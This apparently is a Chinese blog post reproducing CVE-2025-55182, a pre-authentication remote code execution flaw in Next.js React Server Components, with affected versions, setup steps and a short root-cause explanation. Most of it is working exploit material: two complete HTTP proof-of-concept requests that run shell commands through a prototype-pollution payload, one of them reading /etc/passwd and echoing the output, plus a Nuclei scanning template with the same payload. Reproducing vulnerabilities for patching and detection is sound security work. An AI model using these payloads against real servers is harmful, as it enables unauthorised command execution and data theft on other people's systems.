CVE-2025-55182 NextJs无条件RCE漏洞简单复现(附PoC)
·
- 昨天到今天,公众号已经刷爆了的Nextjs无条件利用漏洞,今天也自己简答复现了一下这个漏洞,然后简单了解了解原理
- 之前看小迪完全没了解过这个什么Nextjs,以为是Nodejs,在这装了半天环境,结果后面发现看错了,我服了,太憨了
- React 是由 Meta(原 Facebook)开发的 JavaScript 库,专门用于构建用户界面(UI),尤其是单页应用(SPA)。它的核心思想是组件化和声明式编程。
- 而Nextjs是由 Vercel 开发的基于React的全栈Web应用框架,它提供了构建生产级应用所需的一切功能(路由、渲染、数据获取、API等),而无需额外配置。
- 个人感觉类似于Javaweb和SpringBoot之间的关系,后者为前者配置好了所有需要的环境,达到开箱即用
环境搭建
- 该漏洞影响的Nextjs版本为:
- Next.js v15.0.0-15.0.4
- Next.js v15.1.0-15.1.8
- Next.js v15.2.x-15.5.6
- Next.js v16.0.0-16.0.6
- Next.js v14.3.0-canary.77及以上Canary版本
- 我这里就只验证了16.0.6,Linux上就直接按如下命令搭建原生的Nextjs服务器即可:
# 安装nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
source ~/.bashrc
# 安装nodejs 20.9.0,nextjs16适配版本
nvm install 20.9.0
# 使用nextjs 16.0.6创建项目my-app
npx create-next-app@16.0.6 my-app
cd my-app
# 查看当前的nextjs版本,回显16.0.6即可运行服务器
npm list next
# 启动服务器
npm run dev
- 如果是Windows也是这个操作,参考文章:https://nextjs.org/docs/app/getting-started/installation
漏洞PoC
无回显版本
- 这里Windows和Linux我都验证了一遍,确实可以成功复现:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
- 这里的xcalc是Linux的,如果是Windows换成calc即可:

- 当然也可以通过Dnslog去判断,这里也可以在前面加
whoami去执行命令:

- 但是注意尽量不要使用curl、wget这样的命令,避免卡死
有回显版本
- 这个只试了Linux,也确实能够成功复现:
POST / HTTP/1.1
Host: 192.168.0.143:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 753
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /etc/passwd',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

漏洞原理
- 这个漏洞(CVE-2025-55182)它的核心点是触发React中处理Server Components反序列化的文件ReactFlightReplyServer.js的1057-1066行代码位置:
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix; // 提取ID
const blobKey = prefix + id; // 获取前缀
// We should have this backingEntry in the store already because we emitted
// it before referencing it. It should be a Blob.
// 核心触发点
const backingEntry: Blob = (response._formData.get(blobKey): any); // 构造key
return backingEntry;
}
- 该文件实现了 Flight 协议的服务端反序列化逻辑,专门用于解析客户端提交的 Server Actions 请求(即 Next-Action 请求),将客户端发送的序列化数据恢复为可执行的函数和参数
- 当解析 multipart/form-data 请求时,对 _response 元数据的处理存在信任边界破坏
- 它的主要目的就是通过这里的__formData.get函数去调用自己构造的恶意代码,但其实还有很多细枝末节的地方我也没有搞得很清楚
PoC验证
- 这里也给出可以直接丢给Nuclei的PoC规则:
id: exact-nextjs-rce-payload
info:
name: Exact Next.js RCE Payload
author: uli0n
severity: critical
reference:
- https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
- https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
description: CVE-2025-55182
tags: rce,nextjs,react,prototype-pollution
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /etc/passwd',{'timeout':0}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers:
- type: word
part: body
words:
- "NEXT_REDIRECT"
- "root:x:0:0"
condition: and
extractors:
- type: regex
part: body
regex:
- "digest:`(.+?)`"
group: 1

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)